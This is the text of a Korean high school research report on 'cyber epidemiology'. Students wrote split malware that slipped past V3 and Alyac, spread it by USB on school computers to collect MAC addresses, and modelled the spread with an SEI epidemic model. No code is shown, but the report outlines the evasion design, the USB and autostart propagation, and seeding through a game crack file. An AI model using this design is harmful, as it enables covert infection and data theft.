• 검색 결과가 없습니다.

< 연구 결과요약서 >

N/A
N/A
Protected

Academic year: 2022

Share "< 연구 결과요약서 >"

Copied!
31
0
0

로드 중.... (전체 텍스트 보기)

전체 글

(1)

< 연구 결과요약서 >

소 속학교 대전대 신고등 학교 책임 지도 교사 하O수 공 동 지 도 교 사 강O 규

참여학생 권O균, 박O욱 , 신O 권, 남O우

과 제 명 분할형 악성코드를 활용한 사이버 역학조사의 수학적 모델링에 관한 연구 연구목표 전통적 역학 연구 방법론의 사이버 역학에의 적용가능성 및 수학적 모델링 설계

연구개요 및 내용

□ 이론적 배경 및 선행연구

○ 분할형 악성코드(Multiprocess Malware)

- 현재 개발된 윈도우즈 OS 기반의 안티 바이러스 SW는 PE형식을 기반으로 하는 진단법을 사용하고 있음.

- 이러한 진단법을 시그니처 진단법이라 하는데, 이는 휴리스틱 탐지 기법과 행위 기반 탐지 기법으로 다시 나뉨.

- 분할된 악성코드의 경우 해외에서 연구 사례가 있으나, 그 특성상 관련 연구 및 개발이 활발히 이루어지지 않고 있음.

○ 역학(疫學; Epidemiology)

- 역학이란 어떠한 집단의 건강과 질병의 패턴, 원인, 영향을 연구하는 학문임.

- 역학의 연구를 위한 방법으로 기술역학과 분석역학으로 나뉠 수 있는데, 일반적으로 기술역 학 연구가 수행된 뒤 분석역학 연구가 시행됨.

- John Snow의 1853, 1854년 런던에서 발생한 콜레라에 관한 연구는 그 유행원인과 예방책을 탐구하고, 체계적으로 연구 및 발표한 대표적인 사례임.

- 최근 발병한 중동호흡기증후군, 돼지 인플루엔자 등의 국내 감염 사례에서 역학이 다양한 방면에서 활용되었음.

○ 사이버 역학

- 사이버 역학이란, 위의 역학을 악성코드의 전파에 적용한 역학의 한 연구 분야임.

- 그러나 제한된 네트워크 내부에서 발생하는 사례에 한정된 연구, 사례가 보고되어 있음.

- 일반적인 경우와 같은 공개된 네트워크에서 전파되는 악성코드에 대한 사이버 역학에 관한 연구는 국내/외에서 진행되고 있지 않음.

○ 수학적 전염병 모델

- 전염병과 같이 접촉원이 불특정한 다수의 변화 양상을 예측하는 것은 어려우나, 컴퓨터를 위시한 연산 기술을 발달로 인해 최근 활발히 연구되고 있음.

- 1760년 Bernoulli는 연립 비선형 상미분방정식의 형태로 우두접종이 천연두의 확산에 얼마나 효과적인지를 보고하였음.

- 이후 1927년 Kermack과 McKendrick은 수학적 이론에 바탕을 둔 SIR 모형을 개발함.

- SIR, SEIR, SIRS, SIS 등의 다양한 전염병 모형이 최근 개발, 연구되고 있음.

- 1978년 영국 남자 기숙사에서 발생한 독감 전염에 적용된 SIR 모델을 높은 정확도를 보였음.

□ 연구 주제 선정(목적 및 필요성)

○ 사이버 역학조사 실험 설계를 위한 분할형 악성코드 기반의 프로그램 개발

- 사이버 역학조사의 실험을 위해 기존에 알려지지 않은 분할형 악성코드를 개발하였음.

○ 전통적 역학 연구 방법을 활용한 사이버 역학 실험 결과의 분석

□ 연구 방법

(2)

○ C++, C# 기반의 분할형 악성코드 프로그래밍

- 컴퓨터의 MAC주소와 악성코드의 복사시간 및 실행시간을 텍스트로 저장하는 악성코드 제작.

- 텍스트 파일을 읽어 서버로 전송하는 악성코드 제작.-학교 공용 컴퓨터(프린터 설치 컴퓨터, 기숙사 공용 컴퓨터)에 학교장 허락하 설치

- USB가 꽂히면 USB로 악성코드들을 복사하는 악성코드 제작.

- 실행시 악성코드들을 컴퓨터로 복사하는 악성코드 제작.

○ Python, MSSQL을 활용한 사이버 역학조사 데이터의 분석 - 악성코드들이 수집한 MAC 주소를 분석 및 역학조사 실시.

○ R을 이용한 기존 수학적 모델(SIRS 모델)을 활용한 데이터 시뮬레이션

- 상미분방정식 계로 나타날 수 있는 전염병 확산의 수학적 모델의 일종인 SRIS 모델을 바탕으 로 위의 악성코드 전파 실험을 통해 획득한 데이터를 활용하여, 수치해석 시뮬레이션 프로그 램인 R을 이용해 시간에 따른 감염자 분포 양상을 파악.

○ R을 이용한 자체 설계된 수학적 모델의 데이터 시뮬레이션

- 다만 악성코드의 특성상 기존의 전염병을 위해 설계된 수학적 모델은 일부 맞지 않는 점이 있음. 따라서 본 연구에서는 수학적 모델을 설계하였음.

- 이때 본 연구에서 제안한 수학적 모델을 시뮬레이션한 결과와 실제 감염병의 전파양상, SEI 모델에 기반한 악성코드의 전파양상 사이의 유사도를 분석하여, 가장 효과적인 수학적 설계 모델을 검증.

※ 제한점 : 전파 실험을 위한 모집단이 대전대신고 학생으로 제한되어, 표본이 10대 남 성 학생으로 한정되어 있기에, 본 연구의 결과를 일반화하기에는 일정 부분 무리가 있음.

□ 연구 활동 및 과정

○ 분할형 악성코드 프로그래밍

- 악성코드 전파 실험을 위해 외부의 이동식 디스크가 존재하는 지 판별한 후, 컴퓨터에 기생하여 외부 디스크에 악성코드를 복제, 사용자의 정보를 탈취하는 악성코드를 개발함.

○ 역학조사 데이터 수집 및 분석

- 위에서 개발한 악성코드가 사용자의 MAC주소를 수집해 서버로 보냄. 그 후 수집한 MAC주소를 기반으로 역학 조사를 시행.

○ 모델의 데이터 시뮬레이션

- SEI 모델을 기준으로 위에서 수집한 데이터를 활용하여 미분방정식을 세움.

- R을 이용하여 미분방정식의 그래프를 그림.

연구성과

□ 연구 결과

○ 분할형 악성코드 프로그래밍 결과

<그림 1> 악성코드에 감염된 컴퓨터에서 USB로 복사되는 악성코드 프로그램 - C++ 및 C# 활용 개발-MAC 주소화, 복사-실행시간을 각각 저장한 뒤 그것들을 서버로 전송.

- 한국 백신(V3, 알약)들이 악성코드로 인식하지 않음.

○ 역학조사 데이터 수집 및 분석 결과

(3)

<그림 2>수집한 MAC 주소

- 대다수의 악성코드 감염이 공용 컴퓨터(00-21-5D-93-41-BC)에서 이루어짐을 확인함.

- 감염자를 추적해 조사한 결과 공용 컴퓨터에 악성코드가 심어져 있을 가능성을 생각하지 않았다고 함.

○ 모델의 데이터 시뮬레이션 결과

- 모델의 경우 SEI 모델을 사용함.

- 미분 방정식 



   





   





  을 유도, (S(t)는 악성코드에 감염될 수 있는 사람, E(t)는 악성코드가 복제 되었으나, 실행을 아직 하지 않은(잠복기) 사람, I(t)는 악성코드가 완전히 실행된 사람, 는 접촉률 * 감염 가능성, 는 잠복기의 역수이다.

□ 결과 해석 및 논의

○ 분할형 악성코드

- 제작한 분할형 악성코드의 경우 한국 백신(V3, 알약)이 감지하지 못하였음.

- 이러한 분할형 악성코드가 랜섬웨어같은 것에 적용된다면 큰 피해를 끼칠 것으로 예상됨.

○ 사이버 역학조사

- 역학조사를 통해 공용 컴퓨터가 악성코드에 감염되어있다는 생각을 거의 하지 않음을 알게됨. 이것이 악성코드의 확산에 결정적인 역할을 한 것으로 보임.

- 사이버 역학조사에서 수학적 모델링은 본래의 역학조사와 비교를 하면, 사이버 역학조사는 감염가능성 이 본래의 역학조사에 비해 높고, 병의 지속시간 또한 거의 무한하다.

□ 결론 및 제언(시사점 및 향후 계획)

○ 시사점

- 위에서 살펴보았듯이 공용 컴퓨터에 대한 보안 의식이 낮으므로, 이를 보완하면 악성코드의 확산의 방지에도 큰 도움이 될 것이다.

- 사이버 역학조사를 활용하면 ATP 공격의 시도자, 회사 내부 인트라넷에 잡입한 크래커 등을 추적하는데 큰 도움이 될 것이다.

○ 향후 계획

- USB를 통해 퍼지는 악성코드가 아닌 일반적으로 퍼지는 악성코드에 대해 역학조사 실행의 가능성과 모델링에 대한 연구를 진행 할 것이다.

- 분할형 악성코드를 악성코드로 인식하는 방법에 대해 연구를 진행 할 것이다.

(4)

【연구 결과요약서 작성 시 유의 사항】

․성과발표회에 제출했던 요약서로 대체 가능(3쪽 이내)

주요어 분할형, 악성코드, 전염병 모델, 사이버 역학

(5)

< 연구 결과보고서 >

1. 개요

□ 연구목적

○ 연구 동기 및 배경

- 악성코드에는 다양한 종류가 있다. 바이러스는 크게 부트 영역을 감염시키는 부트(boot) 악성코드, 그리고 본래 숙주 프로그램에 감염되었다가 그 기능을 수행하는 숙주 악성코드로 구분된다. 악성코드는 만들어진 목적과 의도에 따라 그 종류가 크게 세분화되지만, 대표적으 로 감염된 뒤 바로 기능을 수행하는 악성코드, 일정 기간의 잠복기를 거쳐 수행되는 악성코드, 공격자가 프로그래밍한 특정 일자에 실행되는 악성코드가 있다. 이러한 악성코드들에 대해 조사하던 중 지금까지의 악성코드들은 분할이 되어 있지 않고 하나의 프로그램 자체가 악성 코드로 실행했다. 그래서 악성코드가 분리되어 감염시키거나 분할된 각각의 악성코드들이 다른 프로그램에 연계되어 감염시키면 바이러스를 막는 안티 바이러스가 이러한 악성코드를 감지하지 어려울 것으로 판단되었다. 만약 이러한 기법이 랜섬웨어와 같은 악성코드에 적용 이 된다면 여러 문제점들이 발생할 것으로 여겨진다.

기업의 경우 내부 인트라넷을 통해 모든 컴퓨터가 연결되어 있다. 이 경우 만약 각각의 컴퓨터에 분할 되어있는 악성코드가 심어지게 된다면 감지하기도 어려울 뿐만 아니라 지속적 인 피해가 일어날 가능성이 크다. 이에 분할된 악성코드를 직접 제작하는 과정 속 현재 사용되고 있는 백신의 문제점을 분석한다.

이후 악성코드가 담긴 게임 크랙 파일을 USB로 배포를 해 학생들을 일반적인 감염병을 전염시키듯이 악성코드를 퍼뜨린다. 악성코드를 이용하여 감염된 컴퓨터/노트북의 MAC주 소를 알아내어 몇 명이나 감염되었는지 조사를 하고, 이를 바탕으로 사이버 역학조사를 실시한다.

○ 연구목적

- 악성코드를 분할하여 안티 바이러스가 분할된 악성코드를 인식하는지 알아본다.

- 분할된 악성코드를 다른 컴퓨터에 감염시켜 사용자 정보를 탈취해 숙주와 감염자 사이의 관계를 시각화하여 표현한다.

- 실제 질병 감염의 진행과 컴퓨터 바이러스를 서로 비교하여 보고 어떠한 부분에 있어 유사점과 차이점을 보이는지 연구한다.

□ 연구범위

○ 연구 분야 및 범위

- 역학조사라는 생물 분야와 악성코드라는 컴퓨터 공학이 융합된 연구이다.

○ 연구의 진행 단계

- 1단계 : 분할형 악성코드를 제작한다.

- 2단계 : 분할형 악성코드를 공용컴퓨터 감염시켜 확산시킨다.

(6)

- 3단계 : 악성코드가 MAC주소, 악성코드 복사시간, 악성코드 실행시간을 서버로 보낸다.

- 4단계 : 위에서 수집한 정보를 토대로 역학조사를 진행한다.

- 5단계 : 역학조사 결과를 바탕으로 미분방정식을 세워 그래프를 그린다.

2. 연구 수행 내용

□ 이론적 배경 및 선행 연구

○ 역학(疫學; Epidemiology)

역학(疫瘧, epidemiology)또는 점염병학은 한정된 집단의 건강과 질병의 패턴, 원인, 그리고 영향을 연구하는 학문이다. 역학은 질병발생의 원인 규명, 질병 발생과 유행의 감시, 질병의 자연사를 기술, 보건의료서비스 연구에 대한 역할, 임상분야에 활용하는 역할, 마지막으로 연구 전략 개발의 역할을 수행한다.

역학의 역사는 16세기 중반으로 거슬러 올라간다. 16세기 중반, 이탈리아 베로나의 의사인 프라카스트로(Fracastoro Girolamo; 1478-1553)는 보이지 않을 정도로 아주 작은 입자들이 질병을 일으킨다는 이론을 발표했다. 더 나아가, 그는 이 입자들은 공기 중에 떠다닐 수 있으며 스스로 복제가 가능하며, 불에 의해 파괴될 수 있다고 주장하였다. 1543년, 프라카스트 로는 <전염병에 대하여(De contagione et contagiosis morbis)>라는 책을 저술하였다. 이 책은 질병을 예방하기 위해서 개인위생 및 환경위생을 향상시켜야 한다고 주장하였다. 이후 1675년 네덜란드의 과학자 레벤후크(Anton van Leeuwenhoek; 1632-1723)가 고성능의 현미 경을 개발하면서 세균이론에 대한 육안적인 증거가 제시되었다.

역학의 종류에는 임삭역학, 암역학, AIDS역학, 신경역학, 정신의학역학, 실험역학 등이 있다. 또한 역학적 연구 방법은 크게 7가지로 나눌 수 있는데, 기술연구, 분석연구, 실험연구, 이론연구, 임상연구, 유전연구, 작전연구이다. 이때 기술연구와 분석연구, 이론연구를 각각 제 1, 2, 3단계 역학이라 부른다.

기술역학이란 인구집단에서 질병 발생과 관계되는 모든 현상을 말한다. 주로 질병 발생의 원인에 대한 가설을 찾기 위하여 사용하는데, 인구학적, 지역적, 시간적 특성과 질병발생과의 관련성, 상관관계 유무를 관찰하는 역학이라고 할 수 있다. 분석역학이란 기술역학의 결정인 자를 토대로 질병발생 요인들에 대하여 설정한 가설의 참, 거짓 여부를 가리기 위한 해답을 찾기 위해 검정하는 역학적 연구방법으로 단면, 전향성, 후향성 조사로 구분된다. 이론역학은 질병발생 양상에 관한 모델을 설정하고 그에 따른 수학적 분석을 토대로 전염병이 유행하는 법칙을 비교하여 타당성 있게 상호관계를 수리적으로 규명하고자 하는 의학의 한 갈래라고 할 수 있다. 이론역학에 대한 이야기는 후술토록 하겠다.

역학을 단순히 전염병을 분석하는 학문이라고 한다면, 전염병이 유행해야만 연구자료를 얻을 수 있는 한정된 상황에 놓이게 된다. 따라서 역학을 연구하는 학자들은 ‘실험역학’이라는 새로운 학문을 만들어내었다. 실험역학은 실험실 실험과 임상실험, 그리고 지역사회예방사업 효과측정실험으로 분류할 수 있다. 다만 실험실 실험은 역학에서 주로 쓰이지 않는 방법으로, 보통은 임상실험을 통해 새로운 치료법이나 약품의 효과, 효능을 규명한다. 지역사회예방사 업 효과측정실험은 어떤 사회 내부의 위생적 위험요인을 제거하거나, 시민들의 생활태도를

(7)

변화시켜 대상 질병이 감소되는지를 규명하는 것으로 설명할 수 있다.

앞서 설명한 이론역학은 수학적 기반을 쌓으며 발전하고 있는데, 전염병 확산 모델의 경우 이러한 시류를 충실히 따른다고 볼 수 있다. 질병 확산 모형은 질병의 확산 과정을 모형화 함으로써 질병이 발생하고 퍼지는 시간 내에서 통 제하기 위하여 활용하고자 하는 이론이다. 질병 확산 모형의 가장 대표적인 SIR 모형을 꼽을 수 있는데, 최근에는 기본적인 확장 접근을 하여 접촉군 (exposed)이라는 단계를 추가한 SEIR 모형을 이용하여 모형 구축을 하는 경우도 많다. SEIR 모형을 예시로 설명하면, 이 모형은 감염 대상군 (susceptible)의 사람들이 질병에 노출 된 잠복기를 거쳐 일정 시간이 경과한 후 감염되어 감염군 (infected)으로 이동한 후 다시 회복군 (removed)으로 이동하는 모형이다. 따라서 질병에 감염된 후 감염력이 생기는 잠복기가 있는 경우에 연구에 활용될 수 있다.

본 연구에서는 이러한 역학의 특성을 활용하여, 악성코드가 실제 질병의 역학적 성질을 이용하여 설명할 수 있는지 알아보고, 사이버 역학조사의 효용성에 대하여 연구할 것이다.

; ○ 악성코드의 종류와 원리

- 기존의 악성코드(Virus)는 다양한 형태로 발전되어, 일반적인 안티 바이러스 (Anti-Virus)1) 업체의 신속한 대처가 어려울 정도로 문제시 되고 있다.

- 현재까지 알려진 안티 바이러스 소프트웨어는, 악성코드가 윈도우즈 OS에 실행되고 위해 실행 가능한 포맷인 PE(Portable Executable) 형식을 기반으로 하는 파일 기반의 진단법 을 사용하고 있다.

- PE 형식의 악성코드를 진단하기 위해 악성코드로 판단하는 준거가 될 특정 형식의 시그니처가 요구되는데, 이러한 검사 방식을 시그니처 기반(Signature Base) 또는 스트링 (String Base) 검사법이라고 한다.

- 이러한 시그니처 기반의 진단법은 특정 부분을 검사하기에 오탐(False Positive)과 미탐(False Negative)가 최소화되며, 빠른 속도가 장점이다.

- 그러나 악성코드 파일에 몇 백 바이트 정도의 변화만 생기면 진단이 되지 않아 새로운 형태, 또는 변종에는 대응이 어렵다는 단점이 있다.

○ 안티 바이러스의 종류와 원리

- 안티 바이러스의 작동원리에는 휴리스틱기법과 행위 기반 탐지 기법이 있다.

- 휴리스틱 탐지(Heuristic Detection) 기법은 일반적인 악성코드 내의 특정 폴더에 파일 쓰기, 레지스트리 부분의 열쇠 생성 명령 등의 명령어(Instruction)을 스캐닝 엔진 (Scanning Engine)에서 시그니처화하여 파일을 검사한다. 즉, 기존의 악성코드와의 유사도를 분석하여 새로운 유형을 대응하는 기법이다.

- 휴리스틱 탐지 기법은 휴리스틱 검사 시에 스캐닝 엔진이 취하는 형태에 따라 동적 / 정적 휴리스틱 탐지 기법으로 나눌 수 있다.

1) 일반적으로, ‘백신’ 업체를 말한다.

(8)

- 동적 휴리스틱 탐지(Dynamic Heuristic Detection) 기법은 검사 대상 파일을 가상 영역 또는 OS와 분리된 공간에서 실행하며 수집한 결과를 휴리스틱 시그니처와 비교하여 검사를 수행하는데, 검사 대상 파일이 실행되어야 하므로 런 타임 휴리스틱 탐지(Run-Time Heuristic Detection) 기법으로도 불린다.

- 정적 휴리스틱 탐지(Static Heuristic Detection) 기법은 위와는 반대로, 파일에 대하 여 파일 실행 없이 파일 자체를 스캐닝 엔진을 통하 휴리스틱 시그니처와 비교를 수행하는 탐지 기법이다.

행위 기반 탐지 기법(Behavior Detection)은 실행 파일(Executable File)의 실행을 통해서 알려지지 않은 악성 코드를 탐지한다. 샌드박스라는 원래의 컴퓨터와 완전히 격리되어 있는 가상의 컴퓨터에서 직접 실행을 시켜서 확인을 해 악성코드로 판단한다. 행위 기반 탐지 기법(Behavior Detection)은 일반적으로 크게 하나의 컴퓨터 시스템 내에서 발생하는 행위들 에 바탕을 두고 있는 시스템 기반 탐지(System Base Detection) 기법이 있다.

- 행위 기반 탐지 기법(Behavior Detection)은 실행 파일을 샌드박스2) 에서 직접 실행해 악성코드를 판단한다. 일반적으로 행위 기반 탐지 기법은 시스템 내의 행위들에 대하여 역할을 수행하는데, 이를 위한 시스템 기반 탐지 기법(System Base Detection)이라 한다.

- 시스템 기반 탐지 기법은 하나의 컴퓨터 내에서 발생하는 행위의 탐지에 목적이 있다. 이는 무결성 검사(Intefrity Check) 기법과 행위 차단(Behavior Block) 기법으로 나눌수 있다. 이 둘은 실행파일이 실행되는 행위를 탐지하나, 실행된 후에 미확인 코드의 탐지 기법에 따라 구분되고 있다.

- 무결성 기법은 시스템이 데이터, 실행 파일들에 의해 시스템 자체가 변화 없이 유지되는 상태를 의미한다. 이는 깨끗한 시스템 상에 존재하는 주요 파일과 폴더에 대해 MD5(Message Digest 5) 등의 해쉬값(Hash)을 계산해 기록하고 특정 시간 단위로 MD5가 기록된 실행 파일의 해쉬값을 확인하는 작업을 수행한다.

- 이러한 주기적인 무결성 검사로, 시스템에 감염된 미확인 코드를 탐지할 수 있는 장점이 있는 반면에, 시스템이 완전히 감염되어 피해를 받고 난 후 조기 대응이 불가능한 단점이 있어, DB와 같은 중요 시스템에 적용하기에는 위험성이 크다.

- 따라서 본 연구에서는 위에서 설명한 기법에 탐지되지 않는 분할형 악성코드를 제작해 피탐 여부를 확인한다.

본 연구에서는 위에서 설명한 안티 바이러스들의 감지 특징들에 하나도 포함되지 않는 분할형 악성코드를 제작해 실제로 감지를 못하는지 확인할 것이다.

□ 연구주제의 선정

○ 분할형 악성코드의 개발

- 기존의 탐지 기법 중 분할형 코드에 대한 탐지 가능성은 명확히 제시되지 않아, 이에

2) 검사 대상 컴퓨터와는 분리된 또 다른 공간을 말한다.

(9)

대한 개발과 연구를 수행하고자 한다.

- 분할형 악성코드에 대한 연구가 이루어지고 있지 않기 때문에 악성코드가 분할되는 경우에 대한 실제적 사례를 제공하여 안티 바이러스의 수준 향상에 도움이 되도록 한다. - 안티 바이러스는 최초로 실행되는 프로그램만 중점적으로 확인하는데, 이는 다른 프로그램 과 연계되어 실행되는 코드는 샌드박스의 환경에서 구현할 수 없으므로 탐지할 수 없다. 따라서 분할형 악성코드를 연구하여 이 특징을 이용해 안티 바이러스가 분할형 악성코드에 대응할 능력을 향상시키이 위해 백신을 시험하고자 한다.

- C언어와 Winapi를 활용해 개발하였다. 단순히 C드라이브의 전체 파일을 변조시키는 코드 의 경우 한국의 백신이 탐지에 성공하였으나, 일부 파일(Windowsd 폴더)만 변조하였 을 때는 탐지하지 못하였다. 따라서 분할한 뒤 일부분을 변조하게 하는 프로그램을 대량으로 생산하여 실행되도록 하였다.

- 테스트 결과, 한국의 백신은 탐지에 실패하였다. 즉 이렇듯 분할된 코드는 백신이 탐지하지 못하는 문제점을 발견하였다. 따라서 랜섬웨어를 분할하였다고 가정할 시, 백신이 탐지하지 못한 프로그램이 계속해서 일부분의 파일을 변조하기 때문에, 감염된 파일이 다른 정상적 파일을 감염시키는 것에 사용될 수 있으므로 위험성이 크다.

○ 사이버 역학조사의 실행 가능성

- 기존의 사이버 역학조사의 경우 대학, 또는 기업의 내부 네트워크와 같이 폐쇄된 환경에서 악성코드가 어떠한 방식으로 유포되는 지에 관한 연구가 주로 진행되었다. 그러나 실제 악성코드가 일반 사용자들에게 광범위하게 확산되고, 이러한 경우에 대하여 역학조사를 광범위하게 실시한 사례는 찾기 힘들다.

- 따라서 질병의 역학조사 방법론을 바탕으로 악성코드가 사용자들 사이에 감염되는 과정을 연구하여 악성코드 방어에 예방의학의 방법론을 적용할 수 있는지 탐구한다.

□ 연구 방법

○ 안티 바이러스가 감지하는 악성코드를 제작

- 악성코드가 분할되었을 때 대조를 위한 단순한 파일 위변조 악성코드를 C언어와 WINAPI를 이용해 제작한다.

○ 안티 바이러스가 감지하는 악성코드를 분할하여 제작 및 검증

- 위의 악성코드를 C드라이브의 폴더 하나를 위변조 하는 악성코드 A, 악성코드 A를 복제하는 프로그램, 복제된 악성코드 A를 한 번에 실행시키는 프로그램으로 3개로 분할한다.

- 제작한 악성코드가 안티 바이러스가 감지하는지 확인한 후 감지되었다면 분할된 바이러스가 어떠한 부분에서 감지되었는지 확인한다.

○ 악성코드 전파 실험 설계

- 악성코드가 전파되는 방식을 탐구하기 위하여 대전대신고 학생을 대상으로 관련 교사와 협의 후 학생들에게 악성코드가 포함된 파일을 배부한다. 자세한 사항은 다음

(10)

과 같다.

가. 교사(이하 실험자)는 학생들(이하 피실험자)에게 수행평가에 사용될 자료 파일을 배부한다.

나. 단, 이때 파일에는 단순 정보 수집 후 전송을 위한 악성코드가 포함되어 있으며 실험자는 피설험자에게 실험 참여 사실을 공지하고, 관련 동의를 받은 후 진행하도록 한다.

다. 실험자는 피실험자에게 파일의 저작권 등에 대한 이유로 USB로 공유할 것을 권유하며, 이메일 메신저와 같은 외부 서버에 업로드하지 말도록 당부한다.

라. 실험이 진행되는 동안 수집되는 정보를 바탕으로 실험 종류 후 역학조사를 실시한다.

○ 사용자 정보 DB 서버 구축

- 악성코드 감염 시 사용자의 정보를 전송하여 데이터를 구축할 서버를 구축한다.

- 서버에 전송된 사용자 정보를 바탕으로 악성코드의 감염 경로를 추측 후, 이를 트리 형식으로 시각화한다.

○ 악성코드 전파경로 설계

- 위의 그림4를 참고하여 보았을 때, 사용자가 감염된 파일을 실행하였을 경우 악성코 드가 동작하여 해당 사용자의 시스템 정보를 탈취하여 서버에 전송한다.

- 획득한 정보 및 로그 기록을 바탕으로 최초의 감염자를 기점으로 악성코드가 퍼져나 간 경로를 파악하는 등 차후에 실시할 역학조사에 활용한다.

○ 감염된 컨퓨터로부터 전송받은 정보를 바탕으로 감염경로 시각화

- 위의 그림 5를 참고하여, 최초의 감염자로부터 시작하여 악성코드가 전파되는 과정 을 트리의 형식으로 시각화한다.

- 사용자에게 얻은 정보를 기반으로 각 감염자 사이의 관계르 분석한다.

- 최초의 감염자를 제외하였을 때, 가장 많이 다른 컴퓨터를 감염시킨 감염자들을 추적하고, 이들을 대상으로 설문조사를 실시해 청소년의 정보윤리의식에 대한 수준을 알아본다.

○ 기술역학연구를 바탕으로 악성코드의 감염에 대한 역학조사 실시

- 개개인의 특성(다른 학생 사이의 친밀도, 같은 학급의 여부, 사용하는 노트북 또는 데스크톱의 정보 등) 및 악성코드에서 전송된 사용자 정보 등을 수집한다.

○ 기술역학연구 결과를 바탕으로 한 집단발명 모델의 분석역학 연구 수행

- 기술역학연구를 통해 수집된 데이터를 바탕으로 분석역학의 일종인 집단발명조사 를 시행한다.

- 이는 악성코드가 인위적으로 지역사회에 적용되기에, 악성코드가 집단발병되는 전염병의 일종으로 보고, 분석역학연구를 수행한다.

- 이를 바탕으로, 악성코드가 전파되는 특질에 대한 인과관계를 확인한다.

- 수행된 연구 결과를 바탕으로, 요인-질병간의 관련성 평가를 통해, 통계적으로 사용 될 수 있는 상수값을 구한다.

(11)

○ 실제 질병 전파의 역학조사 방법론과의 유사도 분석

- SIR, SEIR 등 실제 질병확사놈델과 비교하였을 EO 본 실험을 통해 획득한 통계자료 는 얼마만큼의 신뢰성을 갖는 지 확인한다.

- 악성코드 감염이 실제 질병의 감염과 유사한 형식을 보이는 지 통계적으로 추정하고, 사이버 역학조사가 실제 질병의 역학조사에도 활용 가능한 지에 대하여 연구한다.

○ 전통적 역학의 수학적 모델 기반의 사이버 역학조사의 수학적 모델 구축

- 기존에 사용 중인 전통적인 SIR, SEIR, 모델 등을 기반으로 하는 응용된 수학적 모델을 구축할 수 있는 지 연구한다.

- 이를 통해 완성된 모델을 Matlab 등의 프로그램을 활용하여 실제 실험 결과와 유사도를 파악한다.

○ 접촉 없이 감염된 수를 통해 정보윤리의식 조사

- 정상적인 경로(USB)가 아닌, 비정상적인 경로(이메일, 메신저 등의 외부 서버를 경유하는 방식)을 통해 감염된 사례를 추적하고, 해당 사용자들을 추적 조사하여 정보 윤리에 대한 이해도를 확인한다.

- 위의 비정상적인 행동을 보인 감염자와 접촉 없이 감염된 학생을 대상으로 정보윤리 의 인식에 대한 설문조사 및 인터뷰를 실시하여 대한민국 청소년의 정보보안윤리에 대한 통념을 확인한다.

□ 연구 활동 및 과정

○ 분할형 악성코드 제작 및 검증의 과정 - 4월

C언어와 winapi를 활용하여 mac주소를 획득하는 악성코드, ip주소를 획득하는 악성 코드를 각각 제작하였다. 프로토타입으로 아무런 예외처리가 되어있지 않았다. 프로그 램의 실행창이 겉으로 표시가 되어 악성코드가 실행되면 사용자가 알 수 있었다. 또한 악성코드만 mac주소와 ip주소를 인식하고 다른 악성코드가 사용할 수 없었다.

- 5월

각각의 악성코드가 mac주소와 ip주소를 가져오면 그것들을 txt 숨김 파일로 저장을 해 다른 악성코드들이 참조할 수 있도록 했다. 그리고 감염자의 컴퓨터가 네트워크에 연결되지 않았을 시 에러를 일으키지 않고 기다렸다가 네트워크에 연결되었을 때 저장하도록 예외처리를 해주었다. 그리고 이것을 VMware Workstation 가상머신에서 안티바이러스를 설치하고 확인하였더니, 처음보는 프로그램이라고 막는 것외에는 악성코드로 인식하지 않았다.

- 6월

관련 문헌을 참조하여 역학조사 방법론 설계를 수행하였다. 특히, 기술역학적 분석을 위한 DB 서버 구축 및 테스트, 이를 활용한 데이터 분석을 실습하였다.

- 7월

악성코드를 변화시켰다. MAC주소를 가져와 그것을 txt 숨김 파일로 저장을 하는 악성코드

(12)

(Macaddress.exe), 악성코드의 복사시간이랑 실행시간을 기록하여 txt에 저장된 mac주소 와 함께 서버로 보내는 악성코드(reading.exe), usb가 인식되었을 시 usb로 악성코드를 복사 하는 악성코드(UsbCheck.exe), 실행되었을 시 컴퓨터로 악성코드를 복사하고 시작프로그램 으로 등록하는 악성코드(이거 클릭해봐.exe)를 제작하였다.

- 8월

악성코드를 여러 가지 안티바이러스가 설치된 환경에서 테스트를 해 보았다. V3와 알약은 감지하지 못하였고 나머지 해외 백신들의 경우 가장 중점적인 역할을 한 이거 클릭해 봐.exe만 악성코드로 인식하였다. 이 후 11월 1일이 되면 악성코드가 사라지는 기능을 모든 악성코드에 넣었다.

○ 분할형 악성코드의 확산 과정 - 9월

악성코드를 학교 공용컴퓨터에 감염, 일반 학생들 사이에서 일어나는 감염의 추이를 살펴보았다.

- 10월

악성코드 유포 실험의 결과 데이터를 MySQL과 Python을 통해 분석하였다. 또한 분석한 결과를 바탕으로 악성코드 감염자의 노드를 연결하여 작성한 그래프를 바탕으 로, 유향 그래프에서 출력 차수가 가장 큰 노드에 대하여 역추적 조사를 실시, 해당 학생을 대상으로 악성코드 감염 요인을 인터뷰하였다. 또한 본교의 학생과 해당 학생 들 사이의 관계에 관하여 탐구하였다.

(13)

3. 연구 결과 및 시사점

□ 연구 결과

○ 분할형 악성코드 프로그래밍 결과

C++ 및 C#을 활용하여 악성코드를 개발하였음.

MAC주소 및 악성코드의 복사시간 실행시간을 텍스트 파일에 저장하는 악성코드 제작, 저장된 텍스트 파일을 서버로 전송하는 악성코드 제작, USB가 인식되었을 시 악성코드를 USB로 복사하는 악성코드 제작, 실행되었을 시 사용자의 컴퓨터로 악성코드를 복사하는 악성코드 제작하였음. 이 악성코드의 경우 한국 백신프로그램인 V3와 알약에서 감지되지 않았음.

○ 역학조사 데이터 수집 및 분석 결과

악성코드 유포 실험 결과, 공용컴퓨터를 중심으로 전파가 이루어진 사실을 확인하였고, 감염자의 정보를 탈취, 서버로 전송하여 DB를 구축하는 것에 성공하였음.

획득한 DB를 바탕으로 감염자를 노드로 하는 유향 그래프를 그리고, 출력차수를 내림차순 정리하였을 때 상위의 감염자를 대상으로 역추적 조사를 실시, 분석역학 연구를 수행하였음.

분석역학 연구 결과, 일반 학생에 비하여 주요 감염 학생들은 정보윤리의식의 수준 및 타인의 컴퓨터에 대한 보안의식과 경계심이 낮았음.

○ 모델의 데이터 시뮬레이션 결과

모델의 경우 SEI 모델을 사용하였음. R 프로그램을 활용해 악성코드 유포실험을 통해 얻은 데이터를 대입한 결과, 실제 전파 양상과 유사한 그래프를 얻을 수 있었음.

□ 시사점

○ 악성코드 유포 실험

위에서 살펴보았듯이 공용 컴퓨터에 대한 보안 의식이 낮으므로, 이를 보완하면 악성코드 의 확산의 방지에도 큰 도움이 될 것이다. 또한 사이버 역학조사를 활용하면 ATP 공격의 시도자, 회사 내부 인트라넷에 잠입한 크래커 등을 추적하는데 큰 도움이 될 것이다.

○ 악성코드 유포 실험

